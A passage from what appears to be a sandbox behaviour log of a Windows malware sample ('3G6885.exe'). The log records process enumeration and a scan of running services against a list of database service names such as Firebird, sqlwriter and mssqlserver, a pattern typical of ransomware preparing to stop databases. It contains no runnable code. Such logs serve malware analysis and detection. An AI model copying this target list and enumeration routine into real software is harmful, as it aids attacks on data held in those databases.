cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0152.209] lstrlenW (lpString="svchost.exe") returned 11 [0152.209] Process32NextW (in: hSnapshot=0x384, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0152.210] lstrlenW (lpString="svchost.exe") returned 11 [0152.210] Process32NextW (in: hSnapshot=0x384, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0152.210] lstrlenW (lpString="spoolsv.exe") returned 11 [0152.210] Process32NextW (in: hSnapshot=0x384, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x468, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0152.211] lstrlenW (lpString="taskhost.exe") returned 12 [0152.211] Process32NextW (in: hSnapshot=0x384, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x498, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0152.211] lstrlenW (lpString="svchost.exe") returned 11 [0152.211] Process32NextW (in: hSnapshot=0x384, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0152.212] lstrlenW (lpString="userinit.exe") returned 12 [0152.212] Process32NextW (in: hSnapshot=0x384, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0152.212] lstrlenW (lpString="dwm.exe") returned 7 [0152.212] Process32NextW (in: hSnapshot=0x384, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0152.213] lstrlenW (lpString="explorer.exe") returned 12 [0152.213] Process32NextW (in: hSnapshot=0x384, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x4b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="3G6885.exe")) returned 1 [0152.213] lstrlenW (lpString="3G6885.exe") returned 10 [0152.213] Process32NextW (in: hSnapshot=0x384, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0152.213] lstrlenW (lpString="reader_sl.exe") returned 13 [0152.214] Process32NextW (in: hSnapshot=0x384, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x51c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="drvinst.exe")) returned 1 [0152.214] lstrlenW (lpString="drvinst.exe") returned 11 [0152.214] Process32NextW (in: hSnapshot=0x384, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x558, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1c8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0152.214] lstrlenW (lpString="taskhost.exe") returned 12 [0152.214] Process32NextW (in: hSnapshot=0x384, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0152.215] lstrlenW (lpString="consent.exe") returned 11 [0152.215] Process32NextW (in: hSnapshot=0x384, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 0 [0152.215] CloseHandle (hObject=0x384) returned 1 [0152.215] Sleep (dwMilliseconds=0x1f4) [0153.258] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x41d8978 [0153.258] EnumServicesStatusExW (in: hSCManager=0x41d8978, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 0 [0153.258] GetLastError () returned 0xea [0153.258] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x11e4) returned 0x41d9f00 [0153.259] EnumServicesStatusExW (in: hSCManager=0x41d8978, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x41d9f00, cbBufSize=0x11e4, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x41d9f00, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 1 [0153.259] CloseServiceHandle (hSCObject=0x41d8978) returned 1 [0153.260] lstrlenW (lpString="Appinfo") returned 7 [0153.260] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0153.260] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0153.260] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0153.260] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0153.260] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0153.260] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0153.260] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0153.260] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0153.260] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0153.260] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0153.260] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0153.260] lstrlenW (lpString="AudioSrv") returned 8 [0153.260] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0153.260] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0153.260] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0153.260] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0153.260] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0153.260] lstrlenW (lpString="BFE") returned 3 [0153.260] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0153.260] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0153.260] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0153.260] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0153.261] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0153.261] lstrlenW (lpString="CryptSvc") returned 8 [0153.261] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0153.261] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0153.261] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0153.261] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0153.261] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0153.261] lstrlenW (lpString="CscService") returned 10 [0153.261] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0153.261] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0153.261] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0153.261] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0153.261] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0153.261] lstrlenW (lpString="DcomLaunch") returned 10 [0153.261] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0153.261] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0153.261] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0153.261] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0153.261] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0153.261] lstrlenW (lpString="Dhcp") returned 4 [0153.261] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0153.261] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0153.261] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0153.262] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0153.262] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0153.262] lstrlenW (lpString="Dnscache") returned 8 [0153.262] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0153.262] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0153.262] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0153.262] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0153.262] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0153.262] lstrlenW (lpString="DPS") returned 3 [0153.262] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0153.262] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0153.262] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0153.262] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0153.262] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0153.262] lstrlenW (lpString="eventlog") returned 8 [0153.262] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0153.262] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0153.262] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0153.262] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0153.262] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0153.262] lstrlenW (lpString="EventSystem") returned 11 [0153.262] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0153.262] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0153.262] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0153.262] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0153.262] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0153.262] lstrlenW (lpString="gpsvc") returned 5 [0153.263] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0153.263] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0153.263] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0153.263] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0153.263] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0153.263] lstrlenW (lpString="iphlpsvc") returned 8 [0153.263] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0153.263] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0153.263] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0153.263] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0153.263] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0153.263] lstrlenW (lpString="LanmanServer") returned 12 [0153.263] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0153.263] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0153.263] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0153.263] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0153.263] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0153.263] lstrlenW (lpString="LanmanWorkstation") returned 17 [0153.263] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0153.263] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0153.263] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0153.263] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0153.263] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0153.263] lstrlenW (lpString="lmhosts") returned 7 [0153.263] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0153.263] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0153.263] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0153.263] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0153.264] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0153.264] lstrlenW (lpString="MMCSS") returned 5 [0153.264] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0153.264] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0153.264] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0153.264] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0153.264] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0153.264] lstrlenW (lpString="MpsSvc") returned 6 [0153.264] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0153.264] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0153.264] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0153.264] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0153.264] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0153.264] lstrlenW (lpString="Netman") returned 6 [0153.264] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0153.264] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0153.264] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0153.264] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0153.264] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0153.264] lstrlenW (lpString="netprofm") returned 8 [0153.264] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0153.264] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0153.264] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0153.264] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0153.264] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0153.264] lstrlenW (lpString="NlaSvc") returned 6 [0153.264] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0153.264] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0153.265] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0153.265] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0153.265] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0153.265] lstrlenW (lpString="nsi") returned 3 [0153.265] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0153.265] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0153.265] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0153.265] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0153.265] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0153.265] lstrlenW (lpString="PcaSvc") returned 6 [0153.265] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0153.265] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0153.265] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0153.265] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0153.265] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0153.265] lstrlenW (lpString="PlugPlay") returned 8 [0153.265] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0153.265] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0153.265] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0153.265] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0153.265] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0153.265] lstrlenW (lpString="Power") returned 5 [0153.265] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0153.265] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0153.265] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0153.265] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0153.265] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0153.265] lstrlenW (lpString="ProfSvc") returned 7 [0153.265] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0153.266] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0153.266] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0153.266] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0153.266] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0153.266] lstrlenW (lpString="RpcEptMapper") returned 12 [0153.266] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0153.266] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0153.266] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0153.266] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0153.266] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0153.266] lstrlenW (lpString="RpcSs") returned 5 [0153.266] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0153.266] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0153.266] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0153.266] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0153.266] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0153.266] lstrlenW (lpString="SamSs") returned 5 [0153.266] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0153.266] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0153.266] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0153.266] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0153.266] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0153.266] lstrlenW (lpString="Schedule") returned 8 [0153.266] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0153.267] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0153.267] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0153.267] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0153.267] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0153.267] lstrlenW (lpString="SENS") returned 4 [0153.267] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0153.267] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0153.267] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0153.267] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0153.267] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0153.267] lstrlenW (lpString="ShellHWDetection") returned 16 [0153.267] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0153.267] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0153.267] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0153.267] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0153.267] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0153.267] lstrlenW (lpString="Spooler") returned 7 [0153.267] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0153.267] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0153.267] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0153.267] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0153.267] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0153.267] lstrlenW (lpString="SysMain") returned 7 [0153.267] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0153.267] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0153.267] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0153.268] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0153.268] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0153.268] lstrlenW (lpString="Themes") returned 6 [0153.268] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0153.268] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0153.268] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0153.268] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0153.268] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0153.268] lstrlenW (lpString="TrkWks") returned 6 [0153.268] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0153.268] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0153.268] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0153.268] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0153.268] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0153.268] lstrlenW (lpString="UxSms") returned 5 [0153.268] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0153.268] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0153.268] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0153.268] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0153.268] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0153.269] lstrlenW (lpString="WdiServiceHost") returned 14 [0153.269] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0153.269] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0153.269] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0153.270] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0153.270] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0153.270] lstrlenW (lpString="WdiSystemHost") returned 13 [0153.270] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0153.270] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0153.270] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0153.270] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0153.270] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0153.270] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0153.270] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0153.270] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0153.270] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0153.270] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0153.270] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0153.270] lstrlenW (lpString="Winmgmt") returned 7 [0153.270] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0153.270] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0153.270] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0153.270] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0153.270] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0153.270] lstrlenW (lpString="WPDBusEnum") returned 10 [0153.270] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0153.270] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0153.270] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0153.270] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0153.271] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0153.271] HeapFree (in: hHeap=0x300000, 